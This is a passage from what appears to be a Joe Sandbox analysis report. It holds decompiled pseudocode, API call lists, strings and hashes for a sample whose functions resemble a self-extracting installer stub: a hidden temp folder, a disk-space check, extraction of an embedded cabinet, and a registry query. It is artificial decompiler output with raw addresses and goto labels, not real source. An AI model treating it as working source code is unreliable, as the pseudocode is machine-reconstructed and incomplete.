												_t109 = GetDriveTypeA( &_v268);
												__eflags = _t109 - 6;
												if(_t109 == 6) {
													L22:
													_t48 = GetFileAttributesA( &_v268);
													__eflags = _t48 - 0xffffffff;
													if(_t48 != 0xffffffff) {
														goto L30;
													} else {
														goto L23;
													}
												} else {
													__eflags = _t109 - 3;
													if(_t109 != 3) {
														L23:
														__eflags = _t109 - 2;
														if(_t109 != 2) {
															L28:
															_t66 = _v268;
															goto L29;
														} else {
															_t66 = _v268;
															__eflags = _t66 - 0x41;
															if(_t66 == 0x41) {
																L29:
																_t60 = _t66 + 1;
																_v268 = _t60;
																goto L42;
															} else {
																__eflags = _t66 - 0x42;
																if(_t66 == 0x42) {
																	goto L29;
																} else {
																	_t68 = E010D6952( &_v268);
																	__eflags = _t68;
																	if(_t68 == 0) {
																		goto L28;
																	} else {
																		__eflags = _t68 - 0x19000;
																		if(_t68 >= 0x19000) {
																			L30:
																			_push(0);
																			_t103 = 3;
																			_t49 = E010D597D( &_v268, _t103, 1);
																			__eflags = _t49;
																			if(_t49 != 0) {
																				L33:
																				_t50 = E010D2630(0,  &_v268, 1);
																				__eflags = _t50;
																				if(_t50 != 0) {
																					GetWindowsDirectoryA( &_v268, 0x104);
																				}
																				_t88 =  &_v268;
																				E010D658A(_t88, 0x104, "msdownld.tmp");
																				_t53 = GetFileAttributesA( &_v268);
																				__eflags = _t53 - 0xffffffff;
																				if(_t53 != 0xffffffff) {
																					_t54 = _t53 & 0x00000010;
																					__eflags = _t54;
																				} else {
																					_t54 = CreateDirectoryA( &_v268, 0);
																				}
																				__eflags = _t54;
																				if(_t54 != 0) {
																					SetFileAttributesA( &_v268, 2);
																					_push(_t88);
																					_t109 = 0x10d91e4;
																					E010D1781(0x10d91e4, 0x104, _t88,  &_v268);
																					_t101 = 1;
																					_t59 = E010D5467(0x10d91e4, 1, 0);
																					__eflags = _t59;
																					if(_t59 != 0) {
																						goto L45;
																					} else {
																						_t60 = _v268;
																						goto L42;
																					}
																				} else {
																					_t60 = _v268 + 1;
																					_v265 = 0;
																					_v268 = _t60;
																					goto L42;
																				}
																			} else {
																				_t65 = E010D2630(0,  &_v268, 1);
																				__eflags = _t65;
																				if(_t65 != 0) {
																					goto L28;
																				} else {
																					_t67 = E010D597D( &_v268, 1, 1, 0);
																					__eflags = _t67;
																					if(_t67 == 0) {
																						goto L28;
																					} else {
																						goto L33;
																					}
																				}
																			}
																		} else {
																			goto L28;
																		}
																	}
																}
															}
														}
													} else {
														goto L22;
													}
												}
												goto L47;
												L42:
												__eflags = _t60 - 0x5a;
											} while (_t60 <= 0x5a);
										}
										goto L43;
									} else {
										_t101 = 1;
										_t69 = E010D5467(0x10d91e4, 1, 3); // executed
										__eflags = _t69;
										if(_t69 != 0) {
											goto L45;
										} else {
											_t82 = 0x10d91e4;
											_t70 = E010D2630(0, 0x10d91e4, 1);
											__eflags = _t70;
											if(_t70 != 0) {
												goto L19;
											} else {
												_t101 = 1;
												_t82 = 0x10d91e4;
												_t71 = E010D5467(0x10d91e4, 1, 1);
												__eflags = _t71;
												if(_t71 != 0) {
													goto L45;
												} else {
													do {
														goto L19;
														L43:
														GetWindowsDirectoryA( &_v268, 0x104);
														_push(4);
														_t101 = 3;
														_t82 =  &_v268;
														_t44 = E010D597D(_t82, _t101, 1);
														__eflags = _t44;
													} while (_t44 != 0);
													goto L2;
												}
											}
										}
									}
								}
							}
						} else {
							__eflags = _t35 - 0x5c;
							if(_t35 != 0x5c) {
								L10:
								_t72 = 1;
							} else {
								__eflags =  *0x10d8b3f - _t35; // 0x0
								_t72 = 0;
								if(__eflags != 0) {
									goto L10;
								}
							}
							_t101 = 0;
							_t73 = E010D5467(0x10d8b3e, 0, _t72);
							__eflags = _t73;
							if(_t73 != 0) {
								L45:
								_t38 = 1;
							} else {
								_t101 = 0x4be;
								E010D44B9(0, 0x4be, 0, 0, 0x10, 0);
								goto L2;
							}
						}
					} else {
						_t101 = 0x4b1;
						E010D44B9(0, 0x4b1, 0, 0, 0x10, 0);
						LocalFree(_t109);
						 *0x10d9124 = 0x80070714;
						goto L2;
					}
				} else {
					_t101 = 0x4b5;
					E010D44B9(0, 0x4b5, 0, 0, 0x10, 0);
					 *0x10d9124 = E010D6285();
					L2:
					_t38 = 0;
				}
				L47:
				return E010D6CE0(_t38, 0, _v8 ^ _t110, _t101, 1, _t109);
			}

0x010d55ab
0x010d55b2
0x010d55c9
0x010d55d5
0x010d55d9
0x010d5600
0x010d5605
0x010d560a
0x010d560c
0x010d5638
0x010d5641
0x010d5643
0x010d5645
0x010d5645
0x010d564c
0x010d5652
0x010d5657
0x010d5659
0x010d5696
0x010d569c
0x010d589f
0x010d58a7
0x010d58ac
0x010d58b3
0x010d58b5
0x010d56a2
0x010d56a2
0x010d56a8
0x00000000
0x010d56ae
0x010d56ae
0x010d56b9
0x010d56bf
0x010d56c1
0x010d56f3
0x010d56f3
0x010d5705
0x010d570a
0x010d5711
0x010d5717
0x010d5724
0x010d5726
0x010d5729
0x010d5730
0x010d5737
0x010d573d
0x010d5740
0x00000000
0x00000000
0x00000000
0x00000000
0x010d572b
0x010d572b
0x010d572e
0x010d5742
0x010d5742
0x010d5745
0x010d576b
0x010d576b
0x00000000
0x010d5747
0x010d5747
0x010d574d
0x010d574f
0x010d5771
0x010d5771
0x010d5773
0x00000000
0x010d5751
0x010d5751
0x010d5753
0x00000000
0x010d5755
0x010d575b
0x010d5760
0x010d5762
0x00000000
0x010d5764
0x010d5764
0x010d5769
0x010d577e
0x010d577e
0x010d5781
0x010d5788
0x010d578d
0x010d578f
0x010d57b2
0x010d57b8
0x010d57bd
0x010d57bf
0x010d57cd
0x010d57cd
0x010d57dd
0x010d57e3
0x010d57ef
0x010d57f5
0x010d57f8
0x010d580a
0x010d580a
0x010d57fa
0x010d5802
0x010d5802
0x010d580d
0x010d580f
0x010d5830
0x010d5836
0x010d583d
0x010d584b
0x010d5851
0x010d5855
0x010d585a
0x010d585c
0x00000000
0x010d585e
0x010d585e
0x00000000
0x010d585e
0x010d5811
0x010d5817
0x010d5819
0x010d581f
0x00000000
0x010d581f
0x010d5791
0x010d5797
0x010d579c
0x010d579e
0x00000000
0x010d57a0
0x010d57a9
0x010d57ae
0x010d57b0
0x00000000
0x00000000
0x00000000
0x00000000
0x010d57b0
0x010d579e
0x00000000
0x00000000
0x00000000
0x010d5769
0x010d5762
0x010d5753
0x010d574f
0x00000000
0x00000000
0x00000000
0x010d572e
0x00000000
0x010d5864
0x010d5864
0x010d5864
0x010d5717
0x00000000
0x010d56c3
0x010d56c5
0x010d56c9
0x010d56ce
0x010d56d0
0x00000000
0x010d56d6
0x010d56d6
0x010d56d8
0x010d56dd
0x010d56df
0x00000000
0x010d56e1
0x010d56e2
0x010d56e4
0x010d56e6
0x010d56eb
0x010d56ed
0x00000000
0x010d56f3
0x010d56f3
0x00000000
0x010d586c
0x010d5878
0x010d587e
0x010d5882
0x010d5883
0x010d5889
0x010d588e
0x010d588e
0x00000000
0x010d5896
0x010d56ed
0x010d56df
0x010d56d0
0x010d56c1
0x010d56a8
0x010d565b
0x010d565b
0x010d565d
0x010d5669
0x010d5669
0x010d565f
0x010d565f
0x010d5665
0x010d5667
0x00000000
0x00000000
0x010d5667
0x010d566c
0x010d5673
0x010d5678
0x010d567a
0x010d589b
0x010d589b
0x010d5680
0x010d5685
0x010d568c
0x00000000
0x010d568c
0x010d567a
0x010d560e
0x010d5613
0x010d561a
0x010d5620
0x010d5626
0x00000000
0x010d5626
0x010d55db
0x010d55e0
0x010d55e7
0x010d55f1
0x010d55f6
0x010d55f6
0x010d55f6
0x010d58b7
0x010d58c7

APIs

Part of subcall function 010D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010D46A0
Part of subcall function 010D468F: SizeofResource.KERNEL32(00000000,00000000,?,010D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46A9
Part of subcall function 010D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010D46C3
Part of subcall function 010D468F: LoadResource.KERNEL32(00000000,00000000,?,010D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46CC
Part of subcall function 010D468F: LockResource.KERNEL32(00000000,?,010D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46D3
Part of subcall function 010D468F: memcpy_s.MSVCRT ref: 010D46E5
Part of subcall function 010D468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000), ref: 010D55CF
lstrcmpA.KERNEL32(00000000,<None>,00000000), ref: 010D5638
LocalFree.KERNEL32(00000000), ref: 010D564C
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 010D5620

Part of subcall function 010D44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 010D4518
Part of subcall function 010D44B9: MessageBoxA.USER32(?,?,010D9154,00010010), ref: 010D4554

Part of subcall function 010D6285: GetLastError.KERNEL32(010D5BBC), ref: 010D6285

GetTempPathA.KERNEL32(00000104,010D91E4), ref: 010D56B9
GetDriveTypeA.KERNEL32(0000005A,?,A:\), ref: 010D571E
GetFileAttributesA.KERNEL32(0000005A,?,A:\), ref: 010D5737
GetWindowsDirectoryA.KERNEL32(0000005A,00000104,00000000,?,A:\), ref: 010D57CD
GetFileAttributesA.KERNEL32(0000005A,msdownld.tmp,00000000,?,A:\), ref: 010D57EF
CreateDirectoryA.KERNEL32(0000005A,00000000,?,A:\), ref: 010D5802

Part of subcall function 010D2630: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000), ref: 010D2654

SetFileAttributesA.KERNEL32(0000005A,00000002,?,A:\), ref: 010D5830

Part of subcall function 010D6517: FindResourceA.KERNEL32(?,000007D6,00000005), ref: 010D652A
Part of subcall function 010D6517: LoadResource.KERNEL32(?,00000000,?,?,010D2EE8,00000000,010D19E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 010D6538
Part of subcall function 010D6517: DialogBoxIndirectParamA.USER32(?,00000000,00000547,010D19E0,00000000), ref: 010D6557
Part of subcall function 010D6517: FreeResource.KERNEL32(00000000,?,?,010D2EE8,00000000,010D19E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 010D6560

GetWindowsDirectoryA.KERNEL32(0000005A,00000104,?,A:\), ref: 010D5878

Part of subcall function 010D597D: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 010D59A8
Part of subcall function 010D597D: SetCurrentDirectoryA.KERNELBASE(?), ref: 010D59AF

Strings

<None>, xrefs: 010D5632
A:\, xrefs: 010D56F4
Z, xrefs: 010D570A
msdownld.tmp, xrefs: 010D57D3
RUNPROGRAM, xrefs: 010D55BD, 010D5600

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Resource$Directory$Free$AttributesFileFindLoadLocalWindows$Current$AllocCreateDialogDriveErrorIndirectLastLockMessageParamPathSizeofStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 2436801531-4006054585
Opcode ID: 3eeb5d2ada5afd09c562fbbc0b08c9e67238ab709f82aa51afae2931c76cca81
Instruction ID: b5e51a2693d29ccb0a445e1d2ad9fff9d3cfed90477a5a322974a52b8eba9b6e
Opcode Fuzzy Hash: 3eeb5d2ada5afd09c562fbbc0b08c9e67238ab709f82aa51afae2931c76cca81
Instruction Fuzzy Hash: 638114B0B043159AEB71AA78AC84BFE76BDAF65340F0400E5EDC6E3185EE758DC18B50

Uniqueness

Uniqueness Score: -1.00%

Function 010D597D Relevance: 19.7, APIs: 13, Instructions: 212
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E010D597D(CHAR* __ecx, signed char __edx, void* __edi, intOrPtr _a4) {
				signed int _v8;
				char _v16;
				char _v276;
				char _v788;
				long _v792;
				long _v796;
				long _v800;
				signed int _v804;
				long _v808;
				int _v812;
				long _v816;
				long _v820;
				void* __ebx;
				void* __esi;
				signed int _t46;
				int _t50;
				signed int _t55;
				void* _t66;
				int _t69;
				signed int _t73;
				signed short _t78;
				signed int _t87;
				signed int _t101;
				int _t102;
				unsigned int _t103;
				signed int _t111;
				long _t112;
				signed int _t116;
				CHAR* _t118;
				signed int _t119;
				signed int _t120;

				_t114 = __edi;
				_t46 =  *0x10d8004; // 0xc2f4ed82
				_v8 = _t46 ^ _t120;
				_v804 = __edx;
				_t118 = __ecx;
				GetCurrentDirectoryA(0x104,  &_v276);
				_t50 = SetCurrentDirectoryA(_t118); // executed
				if(_t50 != 0) {
					_push(__edi);
					_v796 = 0;
					_v792 = 0;
					_v800 = 0;
					_v808 = 0;
					_t55 = GetDiskFreeSpaceA(0,  &_v796,  &_v792,  &_v800,  &_v808); // executed
					__eflags = _t55;
					if(_t55 == 0) {
						L29:
						memset( &_v788, 0, 0x200);
						 *0x10d9124 = E010D6285();
						FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v788, 0x200, 0);
						_t110 = 0x4b0;
						L30:
						__eflags = 0;
						E010D44B9(0, _t110, _t118,  &_v788, 0x10, 0);
						SetCurrentDirectoryA( &_v276);
						L31:
						_t66 = 0;
						__eflags = 0;
						L32:
						_pop(_t114);
						goto L33;
					}
					_t69 = _v792 * _v796;
					_v812 = _t69;
					_t116 = MulDiv(_t69, _v800, 0x400);
					__eflags = _t116;
					if(_t116 == 0) {
						goto L29;
					}
					_t73 = GetVolumeInformationA(0, 0, 0, 0,  &_v820,  &_v816, 0, 0); // executed
					__eflags = _t73;
					if(_t73 != 0) {
						SetCurrentDirectoryA( &_v276); // executed
						_t101 =  &_v16;
						_t111 = 6;
						_t119 = _t118 - _t101;
						__eflags = _t119;
						while(1) {
							_t22 = _t111 - 4; // 0x2
							__eflags = _t22;
							if(_t22 == 0) {
								break;
							}
							_t87 =  *((intOrPtr*)(_t119 + _t101));
							__eflags = _t87;
							if(_t87 == 0) {
								break;
							}
							 *_t101 = _t87;
							_t101 = _t101 + 1;
							_t111 = _t111 - 1;
							__eflags = _t111;
							if(_t111 != 0) {
								continue;
							}
							break;
						}
						__eflags = _t111;
						if(_t111 == 0) {
							_t101 = _t101 - 1;
							__eflags = _t101;
						}
						 *_t101 = 0;
						_t112 = 0x200;
						_t102 = _v812;
						_t78 = 0;
						_t118 = 8;
						while(1) {
							__eflags = _t102 - _t112;
							if(_t102 == _t112) {
								break;
							}
							_t112 = _t112 + _t112;
							_t78 = _t78 + 1;
							__eflags = _t78 - _t118;
							if(_t78 < _t118) {
								continue;
							}
							break;
						}
						__eflags = _t78 - _t118;
						if(_t78 != _t118) {
							__eflags =  *0x10d9a34 & 0x00000008;
							if(( *0x10d9a34 & 0x00000008) == 0) {
								L20:
								_t103 =  *0x10d9a38;
								_t110 =  *((intOrPtr*)(0x10d89e0 + (_t78 & 0x0000ffff) * 4));
								L21:
								__eflags = (_v804 & 0x00000003) - 3;
								if((_v804 & 0x00000003) != 3) {
									__eflags = _v804 & 0x00000001;
									if((_v804 & 0x00000001) == 0) {
										__eflags = _t103 - _t116;
									} else {
										__eflags = _t110 - _t116;
									}
								} else {
									__eflags = _t103 + _t110 - _t116;
								}
								if(__eflags <= 0) {
									 *0x10d9124 = 0;
									_t66 = 1;
								} else {
									_t66 = E010D268B(_a4, _t110, _t103,  &_v16);
								}
								goto L32;
							}
							__eflags = _v816 & 0x00008000;
							if((_v816 & 0x00008000) == 0) {
								goto L20;
							}
							_t110 =  *((intOrPtr*)(0x10d89e0 + (_t78 & 0x0000ffff) * 4)) +  *((intOrPtr*)(0x10d89e0 + (_t78 & 0x0000ffff) * 4));
							_t103 = ( *0x10d9a38 >> 2) +  *0x10d9a38;
							goto L21;
						}
						_t110 = 0x4c5;
						E010D44B9(0, 0x4c5, 0, 0, 0x10, 0);
						goto L31;
					}
					memset( &_v788, 0, 0x200);
					 *0x10d9124 = E010D6285();
					FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v788, 0x200, 0);
					_t110 = 0x4f9;
					goto L30;
				} else {
					_t110 = 0x4bc;
					E010D44B9(0, 0x4bc, 0, 0, 0x10, 0);
					 *0x10d9124 = E010D6285();
					_t66 = 0;
					L33:
					return E010D6CE0(_t66, 0, _v8 ^ _t120, _t110, _t114, _t118);
				}
			}

0x010d597d
0x010d5988
0x010d598f
0x010d599a
0x010d59a6
0x010d59a8
0x010d59af
0x010d59b9
0x010d59dd
0x010d59e4
0x010d59f1
0x010d59fe
0x010d5a0b
0x010d5a13
0x010d5a19
0x010d5a1b
0x010d5ba1
0x010d5baf
0x010d5bbd
0x010d5bd8
0x010d5bde
0x010d5be3
0x010d5bec
0x010d5bf0
0x010d5bfc
0x010d5c02
0x010d5c02
0x010d5c02
0x010d5c04
0x010d5c04
0x00000000
0x010d5c04
0x010d5a27
0x010d5a3a
0x010d5a46
0x010d5a48
0x010d5a4a
0x00000000
0x00000000
0x010d5a64
0x010d5a6a
0x010d5a6c
0x010d5abc
0x010d5ac2
0x010d5ac9
0x010d5aca
0x010d5aca
0x010d5acc
0x010d5acc
0x010d5acf
0x010d5ad1
0x00000000
0x00000000
0x010d5ad3
0x010d5ad6
0x010d5ad8
0x00000000
0x00000000
0x010d5ada
0x010d5adc
0x010d5add
0x010d5add
0x010d5ae0
0x00000000
0x00000000
0x00000000
0x010d5ae0
0x010d5ae2
0x010d5ae4
0x010d5ae6
0x010d5ae6
0x010d5ae6
0x010d5ae9
0x010d5aeb
0x010d5af0
0x010d5af6
0x010d5af8
0x010d5af9
0x010d5af9
0x010d5afb
0x00000000
0x00000000
0x010d5afd
0x010d5aff
0x010d5b00
0x010d5b03
0x00000000
0x00000000
0x00000000
0x010d5b03
0x010d5b05
0x010d5b08
0x010d5b20
0x010d5b27
0x010d5b52
0x010d5b52
0x010d5b5b
0x010d5b62
0x010d5b6b
0x010d5b6d
0x010d5b76
0x010d5b7d
0x010d5b83
0x010d5b7f
0x010d5b7f
0x010d5b7f
0x010d5b6f
0x010d5b72
0x010d5b72
0x010d5b85
0x010d5b98
0x010d5b9e
0x010d5b87
0x010d5b8f
0x010d5b8f
0x00000000
0x010d5b85
0x010d5b29
0x010d5b33
0x00000000
0x00000000
0x010d5b48
0x010d5b4a
0x00000000
0x010d5b4a
0x010d5b0f
0x010d5b16
0x00000000
0x010d5b16
0x010d5a7c
0x010d5a8a
0x010d5aa5
0x010d5aab
0x00000000
0x010d59bb
0x010d59c0
0x010d59c7
0x010d59d1
0x010d59d6
0x010d5c05
0x010d5c14
0x010d5c14

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 010D59A8
SetCurrentDirectoryA.KERNELBASE(?), ref: 010D59AF
GetDiskFreeSpaceA.KERNELBASE(00000000,?,?,?,?,00000001), ref: 010D5A13
MulDiv.KERNEL32(?,?,00000400), ref: 010D5A40
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 010D5A64
memset.MSVCRT ref: 010D5A7C
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 010D5A98
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 010D5AA5
SetCurrentDirectoryA.KERNEL32(?,?,?,00000010,00000000), ref: 010D5BFC

Part of subcall function 010D44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 010D4518
Part of subcall function 010D44B9: MessageBoxA.USER32(?,?,010D9154,00010010), ref: 010D4554

Part of subcall function 010D6285: GetLastError.KERNEL32(010D5BBC), ref: 010D6285

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: CurrentDirectory$ErrorLastMessage$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID:
API String ID: 4237285672-0
Opcode ID: d0822e24ac5608404a3a36e22636b44bb45c0f40abfa437d6cbff72b107904b8
Instruction ID: 972995698ae11c8b85963d0a212d0b371adb78dbc3f3408b2c2ecebaa2ec8cf3
Opcode Fuzzy Hash: d0822e24ac5608404a3a36e22636b44bb45c0f40abfa437d6cbff72b107904b8
Instruction Fuzzy Hash: 4571A2B1A0131CAFEB269B68CC85BFA77BCEB48354F0440A9FD85D7144DA359E848F60

Uniqueness

Uniqueness Score: -1.00%

Function 010D4FE0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 121
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E010D4FE0(void* __edi, void* __eflags) {
				void* __ebx;
				void* _t8;
				struct HWND__* _t9;
				int _t10;
				void* _t12;
				struct HWND__* _t24;
				struct HWND__* _t27;
				void* _t33;
				int _t34;
				CHAR* _t36;
				int _t37;

				_t33 = __edi;
				_t36 = "CABINET";
				 *0x10d9144 = E010D468F(_t36, 0, 0);
				_t8 = LockResource(LoadResource(0, FindResourceA(0, _t36, 0xa)));
				 *0x10d9140 = _t8;
				if(_t8 != 0) {
					_t9 =  *0x10d8584; // 0x0
					if(_t9 != 0) {
						ShowWindow(GetDlgItem(_t9, 0x842), 0);
						ShowWindow(GetDlgItem( *0x10d8584, 0x841), 5); // executed
					}
					_t10 = E010D4EFD(0, 0); // executed
					if(_t10 != 0) {
						__imp__#20(E010D4CA0, E010D4CC0, E010D4980, E010D4A50, E010D4AD0, E010D4B60, E010D4BC0, 1, 0x10d9148, _t33);
						_t34 = _t10;
						if(_t34 == 0) {
							L8:
							_t24 =  *0x10d8584; // 0x0
							E010D44B9(_t24,  *0x10d9148 + 0x514, 0, 0, 0x10, 0);
							_t37 = 0;
							L9:
							goto L10;
						}
						__imp__#22(_t34, "*MEMCAB", 0x10d1140, 0, E010D4CD0, 0, 0x10d9140); // executed
						_t37 = _t10;
						if(_t37 == 0) {
							goto L9;
						}
						__imp__#23(_t34); // executed
						if(_t10 != 0) {
							goto L9;
						}
						goto L8;
					} else {
						_t27 =  *0x10d8584; // 0x0
						E010D44B9(_t27, 0x4ba, 0, 0, 0x10, 0);
						_t37 = 0;
						L10:
						_t12 =  *0x10d9140;
						if(_t12 != 0) {
							FreeResource(_t12);
							 *0x10d9140 = 0;
						}
						if(_t37 == 0 &&  *0x10d91d8 == 0) {
							E010D44B9(0, 0x4f8, 0, 0, 0x10, 0);
						}
						if(( *0x10d8a38 & 0x00000001) == 0 && ( *0x10d9a34 & 0x00000001) == 0) {
							SendMessageA( *0x10d8584, 0xfa1, _t37, 0);
						}
						return _t37;
					}
				}
				return _t8;
			}

0x010d4fe0
0x010d4fe6
0x010d4ff9
0x010d500d
0x010d5013
0x010d501a
0x010d5020
0x010d5027
0x010d5037
0x010d5051
0x010d5051
0x010d5057
0x010d505e
0x010d50a7
0x010d50ad
0x010d50b4
0x010d50e8
0x010d50ee
0x010d50ff
0x010d5104
0x010d5106
0x00000000
0x010d5106
0x010d50cd
0x010d50d3
0x010d50da
0x00000000
0x00000000
0x010d50dd
0x010d50e6
0x00000000
0x00000000
0x00000000
0x010d5060
0x010d5060
0x010d5070
0x010d5075
0x010d5107
0x010d5107
0x010d510e
0x010d5111
0x010d5117
0x010d5117
0x010d511f
0x010d5135
0x010d5135
0x010d5141
0x010d5159
0x010d5159
0x00000000
0x010d515f
0x010d505e
0x010d5163

APIs

Part of subcall function 010D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010D46A0
Part of subcall function 010D468F: SizeofResource.KERNEL32(00000000,00000000,?,010D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46A9
Part of subcall function 010D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010D46C3
Part of subcall function 010D468F: LoadResource.KERNEL32(00000000,00000000,?,010D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46CC
Part of subcall function 010D468F: LockResource.KERNEL32(00000000,?,010D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46D3
Part of subcall function 010D468F: memcpy_s.MSVCRT ref: 010D46E5
Part of subcall function 010D468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46EF

FindResourceA.KERNEL32(00000000,CABINET,0000000A), ref: 010D4FFE
LoadResource.KERNEL32(00000000,00000000), ref: 010D5006
LockResource.KERNEL32(00000000), ref: 010D500D
GetDlgItem.USER32(00000000,00000842), ref: 010D5030
ShowWindow.USER32(00000000), ref: 010D5037
GetDlgItem.USER32(00000841,00000005), ref: 010D504A
ShowWindow.USER32(00000000), ref: 010D5051
FreeResource.KERNEL32(?,00000000,00000010,00000000), ref: 010D5111
SendMessageA.USER32(00000FA1,00000000,00000000,00000000), ref: 010D5159

Strings

CABINET, xrefs: 010D4FE6, 010D4FF7
*MEMCAB, xrefs: 010D50C7

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: f40f82768275516213b22594c4d198e6667e0f6dcef67a6f321cada8239acd5b
Instruction ID: 3b12bff3ac5644cfe2af12a8984bee31e9dea1774172b812a3f7b647d7de8505
Opcode Fuzzy Hash: f40f82768275516213b22594c4d198e6667e0f6dcef67a6f321cada8239acd5b
Instruction Fuzzy Hash: 53310A74741312BBE7305A7AEC89F673ABCA748755F044019FDC1E7589DABE8C408760

Uniqueness

Uniqueness Score: -1.00%

Function 010D256D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E010D256D(signed int __ecx) {
				int _v8;
				void* _v12;
				signed int _t13;
				signed int _t19;
				long _t24;
				void* _t26;
				int _t31;
				void* _t34;

				_push(__ecx);
				_push(__ecx);
				_t13 = __ecx & 0x0000ffff;
				_t31 = 0;
				if(_t13 == 0) {
					_t31 = E010D24E0(_t26);
				} else {
					_t34 = _t13 - 1;
					if(_t34 == 0) {
						_v8 = 0;
						if(RegOpenKeyExA(0x80000002, "System\\CurrentControlSet\\Control\\Session Manager\\FileRenameOperations", 0, 0x20019,  &_v12) != 0) {
							goto L7;
						} else {
							_t19 = RegQueryInfoKeyA(_v12, 0, 0, 0, 0, 0, 0,  &_v8, 0, 0, 0, 0);
							goto L6;
						}
						L12:
					} else {
						if(_t34 > 0 && __ecx <= 3) {
							_v8 = 0;
							_t24 = RegOpenKeyExA(0x80000002, "System\\CurrentControlSet\\Control\\Session Manager", 0, 0x20019,  &_v12); // executed
							if(_t24 == 0) {
								_t19 = RegQueryValueExA(_v12, "PendingFileRenameOperations", 0, 0, 0,  &_v8); // executed
								L6:
								asm("sbb eax, eax");
								_v8 = _v8 &  !( ~_t19);
								RegCloseKey(_v12); // executed
							}
							L7:
							_t31 = _v8;
						}
					}
				}
				return _t31;
				goto L12;
			}

0x010d2572
0x010d2573
0x010d2575
0x010d2578
0x010d257d
0x010d2627
0x010d2583
0x010d2586
0x010d2589
0x010d25eb
0x010d2607
0x00000000
0x010d2609
0x010d261a
0x00000000
0x010d261a
0x00000000
0x010d258b
0x010d258b
0x010d259e
0x010d25b2
0x010d25ba
0x010d25cb
0x010d25d1
0x010d25d6
0x010d25da
0x010d25dd
0x010d25dd
0x010d25e3
0x010d25e3
0x010d25e3
0x010d258b
0x010d2589
0x010d262f
0x00000000

APIs

RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Control\Session Manager,00000000,00020019,?,?,010D4096,010D4096,?,010D1ED3,00000001,00000000,?,?,010D4137,?), ref: 010D25B2
RegQueryValueExA.KERNELBASE(?,PendingFileRenameOperations,00000000,00000000,00000000,010D4096,?,010D1ED3,00000001,00000000,?,?,010D4137,?,010D4096), ref: 010D25CB
RegCloseKey.KERNELBASE(?,?,010D1ED3,00000001,00000000,?,?,010D4137,?,010D4096), ref: 010D25DD
